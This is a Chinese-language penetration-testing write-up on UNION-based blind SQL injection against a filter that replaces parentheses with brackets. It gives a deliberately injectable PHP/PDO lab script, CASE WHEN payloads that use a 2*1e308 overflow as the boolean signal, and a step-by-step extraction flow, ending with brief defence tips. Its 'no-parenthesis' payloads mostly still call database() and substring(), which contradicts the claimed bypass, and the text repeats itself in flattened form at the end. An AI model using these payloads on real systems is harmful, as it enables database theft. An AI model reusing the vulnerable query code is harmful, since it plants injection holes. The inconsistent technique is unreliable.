一次挖洞中失去工具的union盲注?
字数 577 2025-08-27 12:33:31

SQL注入绕过技巧:无括号环境下的UNION盲注

0x00 核心记忆点

关键绕过语法:

case when 15 like '1%' then 0 else 2*1e308 end

0x01 漏洞背景

在渗透测试中发现一个特殊SQL注入场景,具有以下特点:

  1. 传统工具如sqlmap无法自动检测
  2. 输入输出直接回显,无数据库数据返回
  3. 系统全局过滤机制:将()替换为[],导致无法使用函数

0x02 环境模拟

本地测试代码(简化版):

<?php
$id = @$_GET['id'];
$dsn = "mysql:host=127.0.0.1; port=3306; dbname=test; charset=utf8";
$user = 'root';
$psw ='root';
$pdo = new PDO($dsn, $user, $psw);
$sql = 'select * from test';

if (!empty($id)) {
    $id = str_replace('(', '[', $id);
    $id = str_replace(')', ']', $id);
} else {
    exit;
}

$sql .= ' where ' . 'id = ' . $id;
echo 'sql:' . $sql;
echo '<br/><br/><br/>';

$query = $pdo->query($sql);
$res = @$query->fetch();

if ($res) {
    echo 'studio_one_hour_pageview_' . $id . '_53aa9d8bcf7749bdb0bbajksbdjkasbd';
}

0x03 注入技术详解

基本注入原理

在无法使用函数(无括号)且无直接数据回显的情况下,使用UNION SELECT结合CASE WHEN进行布尔盲注。

关键注入技术

  1. UNION盲注结构
1 union select case when (条件) then 0 else 2*1e308 end
  1. 条件判断替代方案(无括号时):
case when 15 like '1%' then 0 else 2*1e308 end

实际利用示例

  1. 查询当前数据库名:
1 union select case when substring(database(),1,1)='t' then 0 else 2*1e308 end
  1. 绕过括号限制的替代方案:
1 union select case when database() like 't%' then 0 else 2*1e308 end

判断逻辑

  • 当条件为真时返回0,页面正常显示
  • 当条件为假时返回极大数(2*1e308),导致数据库报错或异常

0x04 完整利用流程

  1. 判断注入点
?id=1 and 1=1
?id=1 and 1=2
  1. 确认UNION可用性
?id=1 union select 1
  1. 盲注探测
?id=1 union select case when database() like 'a%' then 0 else 2*1e308 end
  1. 逐字符猜解
?id=1 union select case when substring(database(),1,1)='a' then 0 else 2*1e308 end

0x05 防御建议

  1. 使用参数化查询(预处理语句)
  2. 严格过滤输入,不仅仅是替换特殊字符
  3. 最小化错误信息反馈
  4. 实施WAF防护

0x06 总结

这种注入技术适用于:

  • 无括号环境
  • 无直接数据回显
  • 需要布尔盲注的场景
    关键点在于利用CASE WHEN替代传统条件判断,结合UNION SELECT实现数据提取。
SQL注入绕过技巧:无括号环境下的UNION盲注 0x00 核心记忆点 关键绕过语法: 0x01 漏洞背景 在渗透测试中发现一个特殊SQL注入场景,具有以下特点: 传统工具如sqlmap无法自动检测 输入输出直接回显,无数据库数据返回 系统全局过滤机制:将 () 替换为 [] ,导致无法使用函数 0x02 环境模拟 本地测试代码(简化版): 0x03 注入技术详解 基本注入原理 在无法使用函数(无括号)且无直接数据回显的情况下,使用 UNION SELECT 结合 CASE WHEN 进行布尔盲注。 关键注入技术 UNION盲注结构 : 条件判断替代方案 (无括号时): 实际利用示例 查询当前数据库名: 绕过括号限制的替代方案: 判断逻辑 当条件为真时返回0,页面正常显示 当条件为假时返回极大数(2* 1e308),导致数据库报错或异常 0x04 完整利用流程 判断注入点 : 确认UNION可用性 : 盲注探测 : 逐字符猜解 : 0x05 防御建议 使用参数化查询(预处理语句) 严格过滤输入,不仅仅是替换特殊字符 最小化错误信息反馈 实施WAF防护 0x06 总结 这种注入技术适用于: 无括号环境 无直接数据回显 需要布尔盲注的场景 关键点在于利用 CASE WHEN 替代传统条件判断,结合 UNION SELECT 实现数据提取。